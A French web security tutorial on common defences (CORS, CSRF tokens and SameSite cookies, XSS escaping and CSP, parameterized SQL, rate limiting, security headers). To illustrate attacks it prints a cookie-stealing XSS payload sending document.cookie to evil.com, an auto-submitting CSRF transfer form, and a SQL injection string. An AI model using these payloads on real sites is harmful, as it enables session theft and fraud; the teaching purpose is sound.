Protections courantes
Défenses contre les menaces les plus fréquentes dans les applications web : CORS, CSRF, XSS, injection SQL, rate limiting et autres protections essentielles.
Les menaces auxquelles tout système doit faire face
Quelle que soit l’architecture, il existe un ensemble d’attaques que toute application web doit savoir gérer. Ces attaques sont bien connues, documentées et disposent de solutions éprouvées — mais elles restent la cause de la majorité des failles de sécurité, car elles sont ignorées ou mal implémentées.
Cross-Origin Resource Sharing (CORS)
CORS n’est pas une attaque mais un mécanisme de sécurité du navigateur. Il contrôle quels domaines peuvent effectuer des requêtes vers ton API.
Le problème
Par défaut, les navigateurs bloquent les requêtes JavaScript vers des domaines différents de celui de la page actuelle. Cela protège contre les scripts malveillants qui tenteraient d’accéder à des API au nom de l’utilisateur.
Configuration correcte
// ❌ Dangereux : autoriser n'importe quelle origine
app.use(cors({ origin: '*' }));
// ✅ Sûr : uniquement les origines connues
app.use(cors({
origin: ['https://miapp.com', 'https://admin.miapp.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true,
maxAge: 86400 // Cache du preflight pendant 24 heures
}));
Headers CORS importants
| Header | Objectif |
|---|---|
Access-Control-Allow-Origin | Domaines autorisés |
Access-Control-Allow-Methods | Méthodes HTTP autorisées |
Access-Control-Allow-Headers | Headers personnalisés autorisés |
Access-Control-Allow-Credentials | Si les cookies/tokens sont autorisés |
Access-Control-Max-Age | Durée de cache du preflight |
Erreurs courantes
- Utiliser
origin: '*'aveccredentials: true— les navigateurs le rejettent - Ne pas gérer les requêtes OPTIONS (preflight)
- Configurer CORS uniquement en développement et l’oublier en production
Cross-Site Request Forgery (CSRF)
CSRF trompe le navigateur de l’utilisateur pour qu’il exécute des actions non désirées sur un site où il est authentifié.
Comment fonctionne l’attaque
1. L'utilisateur se connecte à banco.com (cookie de session active)
2. L'utilisateur visite site-malveillant.com
3. site-malveillant.com contient un formulaire caché :
<form action="https://banco.com/transferir" method="POST">
<input name="destino" value="atacante-123">
<input name="monto" value="10000">
</form>
<script>document.forms[0].submit();</script>
4. Le navigateur envoie automatiquement le cookie de session
5. banco.com traite le transfert comme s'il était légitime
Protections
Token CSRF
Le serveur génère un token unique par session qui doit être inclus dans chaque formulaire :
<form action="/transferir" method="POST">
<input type="hidden" name="_csrf" value="token-aleatorio-único">
<input name="destino" value="">
<input name="monto" value="">
<button type="submit">Transferir</button>
</form>
Le serveur vérifie que le token correspond avant de traiter la requête.
Cookie SameSite
La façon la plus moderne et efficace de prévenir le CSRF :
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
| Valeur | Comportement |
|---|---|
Strict | Le cookie n’est jamais envoyé dans les requêtes cross-site |
Lax | Envoyé lors de la navigation top-level (liens) mais pas dans les formulaires POST |
None | Toujours envoyé (nécessite Secure) |
Vérification du header Origin/Referer
Le serveur peut vérifier que la requête provient d’une origine attendue :
function verifyCsrf(req) {
const origin = req.headers.origin || req.headers.referer;
const allowedOrigins = ['https://miapp.com'];
if (!allowedOrigins.some(o => origin?.startsWith(o))) {
throw new Error('CSRF detectado');
}
}
Cross-Site Scripting (XSS)
XSS permet à un attaquant d’injecter des scripts malveillants dans des pages consultées par d’autres utilisateurs.
Types de XSS
Stored XSS (persistant)
Le script malveillant est stocké dans la base de données et s’exécute chaque fois qu’un utilisateur consulte le contenu :
L'attaquant publie un commentaire :
"Gran artículo! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"
Chaque utilisateur qui voit le commentaire exécute le script sans le savoir.
Reflected XSS
Le script arrive dans l’URL et se reflète dans la réponse :
https://miapp.com/buscar?q=<script>alert('XSS')</script>
DOM-based XSS
Le script s’exécute en manipulant directement le DOM côté client :
// Vulnérable : utilise innerHTML avec des données de l'URL
const search = new URLSearchParams(location.search).get('q');
document.getElementById('results').innerHTML = `Resultados para: ${search}`;
Protections contre XSS
Échapper la sortie
Toujours échapper les données de l’utilisateur avant de les insérer dans le HTML :
// Fonction d'échappement basique
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
Content Security Policy
CSP est la défense la plus efficace contre XSS :
Content-Security-Policy: script-src 'self'; object-src 'none';
Cela empêche l’exécution de scripts inline et n’autorise que les scripts provenant du même domaine.
Utiliser des frameworks modernes
React, Vue et Angular échappent automatiquement le contenu rendu. Le risque apparaît lorsqu’on utilise dangerouslySetInnerHTML (React) ou v-html (Vue).
Injection SQL
L’injection SQL permet à un attaquant d’exécuter des requêtes arbitraires sur la base de données.
Comment ça fonctionne
// Code vulnérable
const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
// L'attaquant envoie comme email :
// ' OR '1'='1' --
// La requête résultante :
// SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password = ''
// Cela retourne TOUS les utilisateurs
Protections
Requêtes paramétrées
La protection la plus efficace et la plus simple :
// Node.js avec pg
const result = await db.query(
'SELECT * FROM users WHERE email = $1 AND password_hash = $2',
[email, passwordHash]
);
// Java avec PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE email = ? AND password_hash = ?"
);
stmt.setString(1, email);
stmt.setString(2, passwordHash);
ORM avec requêtes sécurisées
Les ORM génèrent automatiquement des requêtes paramétrées :
// Prisma
const user = await prisma.user.findUnique({
where: { email: email }
});
// TypeORM
const user = await userRepository.findOne({
where: { email: email }
});
Validation des entrées
En plus de paramétrer, valide que les données ont le format attendu :
// Valider le format de l'email avant d'interroger la base
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!emailRegex.test(email)) {
throw new ValidationError('Formato de email inválido');
}
Rate Limiting
Le rate limiting protège contre les attaques par force brute, le DDoS et l’abus de l’API.
Stratégies de rate limiting
Par IP
// Limiter à 100 requêtes par minute et par IP
const limiter = rateLimit({
windowMs: 60 * 1000,
max: 100,
message: 'Demasiadas peticiones. Intente en un minuto.'
});
Par utilisateur authentifié
// Limiter à 1000 requêtes par heure et par utilisateur
const userLimiter = rateLimit({
windowMs: 60 * 60 * 1000,
max: 1000,
keyGenerator: (req) => req.user.id
});
Par endpoint
Les endpoints sensibles comme la connexion ou l’inscription nécessitent des limites plus strictes :
// Login : maximum 5 tentatives par minute
app.post('/auth/login', rateLimit({ windowMs: 60000, max: 5 }), loginHandler);
// Inscription : maximum 3 par heure
app.post('/auth/register', rateLimit({ windowMs: 3600000, max: 3 }), registerHandler);
Réponse au rate limiting
Lorsque la limite est dépassée, réponds avec :
HTTP/1.1 429 Too Many Requests
Retry-After: 60
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1705314060
Autres protections essentielles
Headers de sécurité
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Validation des uploads
Si ton application accepte des fichiers, valide :
- Le type MIME réel (pas seulement l’extension)
- La taille maximale
- Le contenu (scan antimalware si possible)
- Stocke en dehors du répertoire web public
Logging de sécurité
Enregistre les événements de sécurité pour la détection et la réponse :
- Tentatives de connexion échouées
- Changements de permissions
- Accès à des données sensibles
- Requêtes bloquées par le rate limiting
- Erreurs de validation suspectes
Résumé
Les protections courantes constituent la base de la sécurité web. CORS contrôle l’accès cross-origin, CSRF prévient les actions non autorisées, XSS bloque l’injection de scripts, les requêtes paramétrées éliminent l’injection SQL, et le rate limiting protège contre les abus. Aucune de ces protections n’est optionnelle — toutes doivent être implémentées dès le début du projet. La majorité des failles de sécurité exploitent l’absence de ces défenses de base, et non des vulnérabilités sophistiquées.